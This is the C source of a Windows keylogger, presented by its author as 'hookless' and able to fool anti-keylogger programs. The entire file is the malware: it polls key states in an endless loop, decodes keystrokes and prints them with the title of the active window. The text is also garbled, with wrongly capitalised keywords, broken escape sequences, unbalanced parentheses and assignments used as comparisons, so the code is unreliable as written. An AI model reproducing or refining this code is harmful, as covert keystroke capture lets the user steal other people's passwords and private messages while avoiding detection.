Key records without hooks

//************************************** ********************************
// Version: V1.0
// Coder: wineggdrop
// Date release: NULL
// Purpose: hookless keylogger
// Test Platform: Win 2 K Pro and Server SP4
// Compiled on: KP 3.0, may compile on VC ++ 6.0 (not test yet)
// Limitation: more usage of system resource; may not work on Win9x
// Advantage: hookless technique fools anti-keylogger programs
//************************************** ********************************

# Include <windows. h>
# Include <stdio. h>

// Some global variables

// Lower case key & some other keys
Char * lowercase [] = {
"B ",
"E ",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"'",
"1 ",
"2 ",
"3 ",
"4 ",
"5 ",
"6 ",
"7 ",
"8 ",
"9 ",
"0 ",
"-",
"= ",
"[Tab]",
"Q ",
"W ",
"E ",
"R ",
"T ",
"Y ",
"U ",
"I ",
"O ",
"P ",
"[",
"]",
"",
"S ",
"D ",
"F ",
"G ",
"H ",
"J ",
"K ",
"L ",
";",
"/'",
"Z ",
"X ",
"C ",
"V ",
"B ",
"N ",
"M ",
",",
".",
"/",
"////",
"[CTRL]",
"[Win]",
"",
"[Win]",
"[Print screen]",
"[Scroll lock]",
"[Insert]",
"[Home]",
"[Pageup]",
"[Del]",
"[End]",
"[Pagedown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+ ",
"0 ",
"1 ",
"2 ",
"3 ",
"4 ",
"5 ",
"6 ",
"7 ",
"8 ",
"9 ",
".",
};

// Upper case key & some other keys
Char * uppercase [] = {
"B ",
"E ",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~ ",
"! ",
"@",
"#",
"$ ",
"% ",
"^ ",
"&",
"*",
"(",
")",
"_",
"+ ",
"[Tab]",
"Q ",
"W ",
"E ",
"R ",
"T ",
"Y ",
"U ",
"I ",
"O ",
"P ",
"{",
"}",
"",
"S ",
"D ",
"F ",
"G ",
"H ",
"J ",
"K ",
"L ",
":",
"//"",
"Z ",
"X ",
"C ",
"V ",
"B ",
"N ",
"M ",
"<",
"> ",
".? ",
"│ ",
"[CTRL]",
"[Win]",
"",
"[Win]",
"[Print screen]",
"[Scroll lock]",
"[Insert]",
"[Home]",
"[Pageup]",
"[Del]",
"[End]",
"[Pagedown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+ ",
"0 ",
"1 ",
"2 ",
"3 ",
"4 ",
"5 ",
"6 ",
"7 ",
"8 ",
"9 ",
".",
};

// ASCII keys, forget about it
Int specialkeys [] = {
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};

Hwnd previusfocus = NULL;
// End of data

// Function prototype Declaration
//----------------------------------------------------------------------
Bool iswindowsfocuschange ();
Bool keylogger ();
//----------------------------------------------------------------------
// End of fucntion prototype Declaration

// Main Function
Int main ()
{
Keylogger (); // run the keylogger
Return 0; // The program quit
}
// End of main

//-------------------------------------------------------------------------
// Purpose: to check the active windows title
// Return type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
Bool iswindowsfocuschange ()
{
Hwnd hfocus = getforegroundwindow (); // retrieve the active Windows/'s focus
Bool returnflag = false; // declare the return flag
If (hfocus! = Previusfocus) // The active windows has change
{
Previusfocus = hfocus; // save the old active employee s focus
Int winleng = getwindowtextlength (hfocus); // get the active Windows/'s caption/'s length
Char * windowcaption = (char *) malloc (sizeof (char) * (winleng + 2); // allocate memory for the caption
Getwindowtext (hfocus, windowcaption, (winleng + 1); // retrieve the active Windows/'s Caption
If (strlen (windowcaption)> 0) // really get the windows/'s Caption
{
Printf ("// R // nthe active windows title: % S // R // n", windowcaption); // display the active Windows/'s Caption
Returnflag = true; // indicate the Windows/'s focus has changed
}
Free (windowcaption); // free the allocated memory
}
Return returnflag; // return the flag
} // End of iswindowsfocuschange Function

//-------------------------------------------------------------------------
// Purpose: to manage (Display) the keys retrieved from system/'s Key Buffer
// Return type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
Bool keylogger ()
{
Int bkstate [256] = {0}; // declare the key state array
Int I, X;
Char keybuffer [600]; // Key Buffer Array
Int state; // variable to hode state of some special key like capslock, shift and ect
Int shift; // variable to hode state of Shift Key

// Reset the buffer
Memset (keybuffer, 0, sizeof (keybuffer ));

While (true) // forever loop is taking place here
{
Sleep (8); // rest for a while, and avoid taking 100% CPU usage. pretty important to add this line or the system gets fucked up
If (iswindowsfocuschange () // check the active windows title
{
If (strlen (keybuffer )! = 0) // keys are pressed
{
Printf ("% S // R // n", keybuffer); // display the keys pressed
Memset (keybuffer, 0, sizeof (keybuffer); // reset the buffer
}
}

For (I = 0; I <92; I ++) // looping to check visual keys
{
Shift = getkeystate (vk_shift); // check whether shift is pressed
X = specialkeys [I]; // match the key
If (getasynckeystate (x) & 0x8000) // check combination keys
{
// See whether capslocak or shift is pressed
If (getkeystate (vk_capital )! = 0) & (shift>-1) & (x> 64) & (x <91) // Caps Lock and shift is not pressed
{
Bkstate [x] = 1; // uppercase characters A-Z
}
Else
If (getkeystate (vk_capital )! = 0) & (shift <0) & (x> 64) & (x <91) // Caps Lock and shift is pressed
{
Bkstate [x] = 2; // lowercase A-z
}
Else
If (shift <0) // shift is pressed
{
Bkstate [x] = 3; // uppercase characters A-Z
}
Else
Bkstate [x] = 4; // lowercase A-z
}
Else
{
If (bkstate [x]! = 0) // No combination keys Detected
{
State = bkstate [X]; // retrieve the current state
Bkstate [x] = 0; // reset the current state
If (x = 8) // back space is detected
{
Keybuffer [strlen (keybuffer)-1] = 0; // One key back then
Continue; // start a new loop
}
Else
If (strlen (keybuffer)> 550) // buffer full
{
Printf ("% S <buffer full>", keybuffer); // display the keys retrieved
Memset (keybuffer, 0, sizeof (keybuffer); // reset the buffer
Continue; // start a new loop
}
Else
If (x = 13) // enter is detected
{
If (strlen (keybuffer) = 0) // no other keys retrieved but enter
{
Continue; // start a new loop
}
Printf ("% S <enter> // R // n", keybuffer); // retrieve other keys with enter
Memset (keybuffer, 0, sizeof (keybuffer); // display the keys with enter
Continue; // start a new loop
}
Else
If (State % 2) = 1) // must be upper case characters
{
Strcat (keybuffer, uppercase [I]); // store the key to Key Buffer
}
Else
If (State % 2) = 0) // must be lower case characters
{
Strcat (keybuffer, lowercase [I]); // store the key to Key Buffer
}
}
}
} // End of For Loop
} // End of WHILE LOOP
Return true; // return to the caller
} // End of keylogger Function
// End of File